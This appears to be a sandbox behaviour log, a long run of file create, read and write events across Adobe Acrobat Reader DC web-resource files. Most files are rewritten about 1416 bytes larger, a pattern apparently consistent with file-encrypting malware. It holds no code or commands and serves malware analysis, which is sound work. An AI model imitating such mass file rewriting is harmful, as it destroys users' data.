File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ro-ro\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ro-ro\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\ro-ro\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\zh-tw\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\zh-tw\ui-strings.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\zh-tw\ui-strings.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\zh-tw\ui-strings.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\example_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\example_icons2x.png, size = 1185, size_out = 1185	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\themes\dark\example_icons2x.png, size = 2601	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\css\main-selector.css, size = 1167, size_out = 1167	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\css\main-selector.css, size = 2583	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\files_icons2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\files_icons2x.png, size = 449, size_out = 449	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\themes\dark\files_icons2x.png, size = 1865	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\fi-fi\ui-strings.js, size = 931, size_out = 931	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\fi-fi\ui-strings.js, size = 2347	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\plugin.js, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\plugin.js, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\plugin.js, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\illustrations.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\illustrations.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\illustrations.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\illustrations.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\illustrations.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\illustrations.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\illustrations.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\illustrations.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-gb\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-gb\ui-strings.js, size = 1168, size_out = 1168	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-gb\ui-strings.js, size = 2584	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\it-it\ui-strings.js, size = 1378, size_out = 1378	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\it-it\ui-strings.js, size = 2794	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sk-sk\ui-strings.js, size = 1450, size_out = 1450	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\sk-sk\ui-strings.js, size = 2866	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\selector.js, size = 2510, size_out = 2510	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\selector.js, size = 3926	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\es-es\ui-strings.js, size = 857, size_out = 857	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\es-es\ui-strings.js, size = 2273	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\nb-no\ui-strings.js, size = 853, size_out = 853	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\nb-no\ui-strings.js, size = 2269	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\tr-tr\ui-strings.js, size = 856, size_out = 856	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\tr-tr\ui-strings.js, size = 2272	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\bg_pattern_RHP.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\bg_pattern_RHP.png, size = 179, size_out = 179	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\bg_pattern_RHP.png, size = 1595	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\themes\dark\icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ko-kr\ui-strings.js, size = 8063, size_out = 8063	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ko-kr\ui-strings.js, size = 9479	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\de-de\ui-strings.js, size = 1072, size_out = 1072	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\de-de\ui-strings.js, size = 2488	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\hu-hu\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\hu-hu\ui-strings.js, size = 1051, size_out = 1051	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\hu-hu\ui-strings.js, size = 2467	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ru-ru\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ru-ru\ui-strings.js, size = 1133, size_out = 1133	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ru-ru\ui-strings.js, size = 2549	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\selector.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\selector.js, size = 3095, size_out = 3095	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\selector.js, size = 4511	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fi-fi\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fi-fi\ui-strings.js, size = 1032, size_out = 1032	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\fi-fi\ui-strings.js, size = 2448	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\pl-pl\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\pl-pl\ui-strings.js, size = 1025, size_out = 1025	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\pl-pl\ui-strings.js, size = 2441	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\uk-ua\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\uk-ua\ui-strings.js, size = 1124, size_out = 1124	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\uk-ua\ui-strings.js, size = 2540	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\example_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\example_icons.png, size = 2432, size_out = 2432	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themes\dark\example_icons.png, size = 3848	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fr-fr\ui-strings.js, size = 4732, size_out = 4732	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\fr-fr\ui-strings.js, size = 6148	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\pt-br\ui-strings.js, size = 4382, size_out = 4382	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\pt-br\ui-strings.js, size = 5798	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\zh-cn\ui-strings.js, size = 4532, size_out = 4532	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\zh-cn\ui-strings.js, size = 5948	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\add-comment.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\add-comment.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\add-comment.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\add-comment.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\BringContenttoLife.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\BringContenttoLife.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\BringContenttoLife.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\BringContenttoLife.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\BringContenttoLife.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\digsig-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\digsig-2x.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\digsig-2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\digsig-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\digsig-2x.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\flags.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\flags.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\flags.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\flags.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\flags.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Getmobile-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Getmobile-2x.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Getmobile-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Getmobile-2x.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\cs-cz\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\cs-cz\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\cs-cz\AppStore_icon.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\cs-cz\AppStore_icon.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fi-fi\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fi-fi\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fi-fi\AppStore_icon.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\fi-fi\AppStore_icon.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\nb-no\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\nb-no\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\nb-no\AppStore_icon.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\nb-no\AppStore_icon.svg, size = 4096	1	Fn Data
